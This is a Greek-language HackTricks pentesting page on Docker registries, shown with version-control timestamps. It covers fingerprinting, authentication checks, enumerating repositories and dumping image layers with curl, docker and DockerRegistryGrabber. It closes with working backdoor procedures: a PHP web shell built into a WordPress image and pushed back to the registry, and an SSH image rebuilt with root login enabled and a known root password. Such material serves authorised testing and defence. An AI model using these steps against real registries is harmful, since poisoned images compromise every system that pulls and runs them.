hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

281 lines
18 KiB
Markdown
Raw Normal View History

2024-02-10 22:40:18 +00:00
# 5000 - Ελεγχος ασφαλείας του Docker Registry
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 22:40:18 +00:00
## Βασικές Πληροφορίες
2024-02-10 22:40:18 +00:00
Ένα σύστημα αποθήκευσης και διανομής γνωστό ως **Docker registry** χρησιμοποιείται για τις εικόνες Docker που έχουν ονομαστεί και μπορεί να έρθουν σε πολλές εκδόσεις, που διακρίνονται από ετικέτες. Αυτές οι εικόνες οργανώνονται μέσα σε **αποθετήρια Docker** στο registry, με κάθε αποθετήριο να αποθηκεύει διάφορες εκδόσεις μιας συγκεκριμένης εικόνας. Η λειτουργικότητα που παρέχεται επιτρέπει τη λήψη των εικόνων τοπικά ή τη μεταφόρτωσή τους στο registry, υποθέτοντας ότι ο χρήστης έχει τις απαραίτητες άδειες.
2024-02-10 22:40:18 +00:00
Το **DockerHub** λειτουργεί ως το προεπιλεγμένο δημόσιο registry για το Docker, αλλά οι χρήστες έχουν επίσης τη δυνατότητα να λειτουργήσουν μια εκδοχή του Docker registry/distribution ανοικτού κώδικα στον χώρο τους ή να επιλέξουν το εμπορικά υποστηριζόμενο **Docker Trusted Registry**. Επιπλέον, μπορούν να βρεθούν διάφορα άλλα δημόσια registries στο διαδίκτυο.
2024-02-10 22:40:18 +00:00
Για να κατεβάσετε μια εικόνα από ένα on-premise registry, χρησιμοποιείται η παρακάτω εντολή:
2024-02-08 21:36:50 +00:00
```bash
docker pull my-registry:9000/foo/bar:2.1
```
2024-02-10 22:40:18 +00:00
Αυτή η εντολή ανακτά την εικόνα `foo/bar` έκδοση `2.1` από το τοπικό αποθετήριο στον τομέα `my-registry` στη θύρα `9000`. Αντίστοιχα, για να κατεβάσετε την ίδια εικόνα από το DockerHub, ειδικά αν η έκδοση `2.1` είναι η τελευταία έκδοση, η εντολή απλοποιείται σε:
2024-02-08 21:36:50 +00:00
```bash
docker pull foo/bar
```
2024-02-10 22:40:18 +00:00
**Προεπιλεγμένη θύρα:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-02-10 22:40:18 +00:00
## Ανακάλυψη
2024-02-10 22:40:18 +00:00
Ο ευκολότερος τρόπος για να ανακαλύψετε αυτήν την υπηρεσία που εκτελείται είναι να την βρείτε στην έξοδο του nmap. Παρόλα αυτά, σημειώστε ότι καθώς είναι μια υπηρεσία βασισμένη σε HTTP, μπορεί να βρίσκεται πίσω από HTTP proxies και το nmap δεν θα το ανιχνεύσει.\
Ορισμένα αποτυπώματα:
2024-02-10 22:40:18 +00:00
* Εάν έχετε πρόσβαση στο `/`, δεν επιστρέφεται τίποτα στην απόκριση
* Εάν έχετε πρόσβαση στο `/v2/`, τότε επιστρέφεται `{}`
* Εάν έχετε πρόσβαση στο `/v2/_catalog`, μπορείτε να λάβετε:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2024-02-10 22:40:18 +00:00
## Απαρίθμηση
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2024-02-10 22:40:18 +00:00
Ο Docker registry μπορεί να έχει ρυθμιστεί να χρησιμοποιεί **HTTP** ή **HTTPS**. Έτσι, το πρώτο πράγμα που ίσως χρειαστεί να κάνετε είναι να **βρείτε ποιο από τα δύο** έχει ρυθμιστεί:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2024-02-10 22:40:18 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-02-10 22:40:18 +00:00
### Ταυτοποίηση
2024-02-10 22:40:18 +00:00
Το Docker registry μπορεί επίσης να ρυθμιστεί ώστε να απαιτεί **ταυτοποίηση**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-02-10 22:40:18 +00:00
Εάν ο Docker Registry απαιτεί πιστοποίηση, μπορείτε να [**προσπαθήσετε να το αποκρυπτογραφήσετε χρησιμοποιώντας αυτό**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Εάν βρείτε έγκυρα διαπιστευτήρια, θα πρέπει να τα χρησιμοποιήσετε** για να απαριθμήσετε τον κατάλογο, στο `curl` μπορείτε να τα χρησιμοποιήσετε ως εξής:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-02-10 22:40:18 +00:00
### Απαρίθμηση χρησιμοποιώντας το DockerRegistryGrabber
2024-02-10 22:40:18 +00:00
Το [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) είναι ένα εργαλείο σε python για την απαρίθμηση / απόρριψη του docker registry (χωρίς ή με βασική ταυτοποίηση)
```bash
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 22:40:18 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
2024-02-10 22:40:18 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 22:40:18 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
2024-02-10 22:40:18 +00:00
### Απαρίθμηση χρησιμοποιώντας το curl
2024-02-10 22:40:18 +00:00
Μόλις **αποκτήσετε πρόσβαση στο docker registry**, εδώ είναι μερικές εντολές που μπορείτε να χρησιμοποιήσετε για να το απαριθμήσετε:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2024-02-10 22:40:18 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
2024-02-10 22:40:18 +00:00
Σημειώστε ότι όταν κατεβάζετε και αποσυμπιέζετε τα αρχεία blobs, θα εμφανιστούν αρχεία και φάκελοι στον τρέχοντα κατάλογο. **Εάν κατεβάσετε όλα τα blobs και τα αποσυμπιέσετε στον ίδιο φάκελο, θα αντικαταστήσουν τιμές από τα προηγούμενα αποσυμπιεσμένα blobs**, οπότε προσέξτε. Μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε κάθε blob μέσα σε διαφορετικό φάκελο για να επιθεωρήσετε το ακριβές περιεχόμενο κάθε blob.
{% endhint %}
2024-02-10 22:40:18 +00:00
### Απαρίθμηση χρησιμοποιώντας το docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2024-02-10 22:40:18 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-02-10 22:40:18 +00:00
### Εισαγωγή πίσω πόρτας στην εικόνα του WordPress
2024-02-10 22:40:18 +00:00
Στην περίπτωση που έχετε βρει ένα Docker Registry που αποθηκεύει μια εικόνα του WordPress, μπορείτε να εισάγετε μια πίσω πόρτα.\
**Δημιουργήστε** την **πίσω πόρτα**:
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
2024-02-10 22:40:18 +00:00
{% code title="Dockerfile" %}
2024-02-10 22:40:18 +00:00
Δημιουργήστε ένα **Dockerfile**:
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
2024-02-10 22:40:18 +00:00
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι έχει δημιουργηθεί και **ανεβάστε** την:
```bash
docker build -t 10.10.10.10:5000/wordpress .
2024-02-10 22:40:18 +00:00
#Create
docker images
docker push registry:5000/wordpress #Push it
```
2024-02-10 22:40:18 +00:00
### Εισαγωγή παρασιτικού κώδικα σε εικόνα διακομιστή SSH
2024-02-10 22:40:18 +00:00
Υποθέστε ότι βρήκατε ένα Docker Registry με μια εικόνα SSH και θέλετε να εισάγετε παρασιτικό κώδικα.\
**Κατεβάστε** την εικόνα και **εκτελέστε** την:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-02-10 22:40:18 +00:00
Εξαγάγετε το αρχείο `sshd_config` από την εικόνα SSH:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-02-10 22:40:18 +00:00
Και τροποποιήστε το για να ορίσετε: `PermitRootLogin yes`
2024-02-10 22:40:18 +00:00
Δημιουργήστε ένα **Dockerfile** όπως το παρακάτω:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
2024-02-10 22:40:18 +00:00
**Δημιουργήστε** τη νέα εικόνα, **ελέγξτε** ότι έχει δημιουργηθεί και **ανεβάστε** την:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
2024-02-10 22:40:18 +00:00
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
2024-02-10 22:40:18 +00:00
## Αναφορές
2024-02-08 21:36:50 +00:00
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 22:40:18 +00:00
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-10 22:40:18 +00:00
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
2022-04-28 16:01:33 +00:00
</details>